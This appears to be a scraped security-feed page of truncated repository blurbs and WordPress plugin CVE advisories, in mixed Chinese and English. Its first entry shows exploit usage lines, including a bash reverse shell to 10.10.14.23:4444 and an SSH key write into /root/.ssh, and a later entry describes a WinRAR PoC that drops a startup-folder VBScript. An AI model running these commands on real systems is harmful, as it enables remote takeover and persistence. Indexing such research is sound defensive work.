CVE-2024-47533

反向 Shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 简单命令 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' 写入 SSH 密钥 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh && echo...

rebrowser-patches

🪄 Patches for undetectable browser automation This repo contains patches to enhance popular web automation libraries. Specifically, it targets the puppeteer and playwright packages. Some aspects of automation libraries or browser behavior cannot be adjusted through settings or command-line...

Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution

Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin = 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve...

wolfGuard

WolfGuard VPN 与 FIPS 140-3 加密 WolfGuard 是基于 wolfSSL FIPS 合规重构的 Linux 内核 WireGuard，最初由 Jason Donenfeld 设计并编写。用法基本相同。WolfGuard 有两个主要组件：wolfguard.ko 内核模块和 wg-fips 配置工具。wolfguard.ko 依赖于 libwolfssl.ko 内核模块，而 wg-fips 依赖于 libwolfssl.so 库 — 这些依赖项均从相同的 wolfSSL 源代码构建，分别配置为内核模块和用户库。wg-fips-quick 脚本的工作方式与...

firehol

FireHOL http://firehol.org/ FireHOL, an iptables stateful packet filtering firewall for humans! FireQOS, a TC based bandwidth shaper for humans! Git These instructions are for people who are working with the git repository. There are more general instructions starting with Upgrade Notes. Cloning...

esp32_esp8266_attacks

ESP32/ESP8266 Wi-Fi 攻击 本仓库是ASSET 研究组 的研究成果的一部分。 本仓库演示了针对流行的 ESP32/8266 IoT 设备的 3 种 Wi-Fi 攻击： Zero PMK 安装 CVE-2019-12587 - 劫持连接到企业网络的 ESP32/ESP8266 客户端； ESP32/ESP8266 EAP 客户端崩溃 CVE-2019-12586 - 使连接到企业网络的 ESP 设备崩溃； ESP8266 信标帧崩溃 CVE-2019-12588 - 使 ESP8266 Wi-Fi 设备崩溃。...

WinRAR-CVE-2025-8088-PoC-RAR

WinRAR-CVE-2025-8088-PoC-RAR WinRAR 零日漏洞 CVE-2025-8088 的 PoC RAR 存档 将 MyResumefinal.rar 放置在下载目录中，并使用“解压到 MyResumefinal”或通过易受攻击的 WinRAR 的 UI 进行解压，从而运行该漏洞！: 你会看到一个名为“WindowsConfigurationFileRun1.vbs”的 VBScript 文件被放入启动目录，当机器重启时会弹出一个消息框显示：“漏洞利用成功：WinRAR CVE-2025-8088”。 再见！ - knight0x07...

fwknop

fwknop - Single Packet Authorization Introduction fwknop implements an authorization scheme known as Single Packet Authorization SPA for strong service concealment. SPA requires only a single packet which is encrypted, non-replayable, and authenticated via an HMAC in order to communicate desired...

e9patch

E9Patch - 一个强大的静态二进制重写器 E9Patch 是一个针对 x8664 Linux ELF 二进制文件的强大静态二进制重写工具。 E9Patch 的特点： 可扩展 ：E9Patch 可以可靠地重写大型/复杂二进制文件，包括网络浏览器（大小超过100MB）。 兼容 ：重写的二进制文件是原始文件的直接替代品，无需额外依赖。 快速 ：E9Patch 可以在几秒钟内重写大多数二进制文件。 低开销 ：包括性能和内存。 可编程 ：E9Patch 的设计使其可以轻松集成到其他项目中。更多信息请参阅 E9Tool 用户指南 和 E9Patch 程序员指南。 静态二进制重写...

batondrop_armv7

baton drop for armv7 MSM8960 鉴于 policyhax（又名 golden key）的修复实际上在 Qualcomm 系统上有效，我买了一个能工作但作为零件出售的 Dell XPS 10，将 baton drop 移植到了 MSM8960。 以下是结果。 将 image.7z 解压到你的 GPT fat32 格式的 USB 设备上，将你的未签名 EFI 启动应用程序复制到 \boot.efi，用你的 MSM8960 Windows RT 设备启动它，尽情享受。 所有 payload 源码（包括 divide.obj 来自 MS CRT，stage2...

pwndrop

pwndrop is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV. If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of python -m...

lab-cve-2025-3515

CVE-2025-3515 WordPress Lab（用于Contact Form 7的拖放多文件上传） 快速搭建一个易受攻击的WordPress环境，以复现并验证CVE-2025-3515——插件drag-and-drop-multiple-file-upload-contact-form-7（≤ 1.3.8.9）中通过ddmuuploadfile实现的无限制文件上传。此实验环境已Docker化，可使用Nuclei快速、确定性地进行测试。 易受攻击的插件：drag-and-drop-multiple-file-upload-contact-form-7 v1.3.8.9...

Tourmaline

Tourmaline I recently stumbled upon a piece of cleverly designed malware that calls itself "Tourmaline". This README is very kindly written by Claude as I was super busy with exams at the time of this repository's inception. Exploiting and decrypting this malware took a huge chunk of my time from...

CVE-2026-15897

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.316. This is due to the Register & Login add-on's beforeemailsuccessmsg function, in its registerloginaction='update' flow, trusting an attacker-supplied...

CVE-2026-15896

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.3.316 via the parserequest function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can...

CVE-2026-15896

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to a Directory Traversal vulnerability in all versions up to and including 6.3.316 . The root cause lies in the parse_request function, specifically involving the 'sfgtfi' URL path parameter. This flaw allows unauthenti...

EUVD-2026-91180

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.3.316 via the parserequest function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can...

CVE-2026-15896 Super Forms <= 6.3.316 - Unauthenticated Path Traversal to Arbitrary File Read via 'sfgtfi' URL Path Parameter

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 6.3.316 via the parserequest function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can...

EUVD-2026-91176

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.316. This is due to the Register & Login add-on's beforeemailsuccessmsg function, in its registerloginaction='update' flow, trusting an attacker-supplied...

CVE-2026-15897 Super Forms – Drag & Drop Form Builder <= 6.3.316 - Authenticated (Subscriber+) Privilege Escalation via 'user_id' Parameter in Register & Login

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.316. This is due to the Register & Login add-on's beforeemailsuccessmsg function, in its registerloginaction='update' flow, trusting an attacker-supplied...